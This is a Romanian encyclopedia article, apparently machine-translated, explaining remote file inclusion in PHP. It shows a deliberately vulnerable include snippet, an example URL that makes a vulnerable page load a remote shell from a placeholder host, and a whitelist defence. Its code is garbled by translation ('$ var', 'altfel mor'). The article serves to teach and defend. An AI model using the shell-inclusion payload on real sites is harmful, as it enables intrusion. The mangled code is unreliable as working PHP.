Includerea fișierelor la distanță

De la Wikipedia, enciclopedia liberă.
Salt la navigare Salt la căutare

Includerea de fișiere la distanță sau RFI , în contextul securității IT, indică o vulnerabilitate care afectează serviciile web cu un control slab al variabilelor care sosesc de la un utilizator, în special variabilele PHP GET și POST. Vulnerabilitatea apare atunci când o pagină care trebuie inclusă este transmisă pentru o variabilă necontrolată.

Cod vulnerabil

Acesta este un exemplu simplu de cod vulnerabil:

  <? php 
  $ var = $ _GET [ 'var' ]; 
  include ( $ var );
  ?>

chiar și cu o cunoaștere limitată a PHP, este foarte clar ce se întâmplă, mergând la acea pagină și modificând variabila $ var (prezentă în URL ) după cum doriți, puteți vedea eroarea în acțiune.

 http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it

în acest caz variabila var ia valoarea URL-ului introdus și indexul mysiteincluso.it va fi inclus în pagină

Cum funcționează atacul

Dacă există posibilitatea includerii arbitrare a codului PHP, un cracker poate include un shell în PHP

 http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt

Rețineți că pagina care trebuie inclusă nu trebuie să fie în PHP (în caz contrar, este inclusă doar ieșirea HTML generată a paginii și nu codul real).

Cum să te aperi

În general, atunci când trebuie să includeți o pagină externă în aplicația dvs. web, doriți să includeți doar un set foarte mic și numerotat de posibile pagini și nu toate paginile web din această lume. Prin urmare, este suficient să faceți o schimbare a valorilor posibile ale variabilei GET și, în funcție de valoare, includeți pagina dorită, fără a lăsa utilizatorul complet gratuit. Această previziune este suficientă pentru a evita orice tip de vulnerabilitate RFI.

 http://miosito.it/index.php?var=1

apoi în cadrul paginii se face o verificare între numărul posibil și site-ul corespunzător. Exemplu:

 <? php
 $ var = $ _GET [ 'var' ];
 if ( $ var == 1 ) include ( 'http://miositoesterno.it/miapagina1.php' );
 elseif ( $ var == 2 ) include ( 'http://miositoesterno.it/miapagina2.php' );
 altfel mor ( „încercare de intruziune” );
?>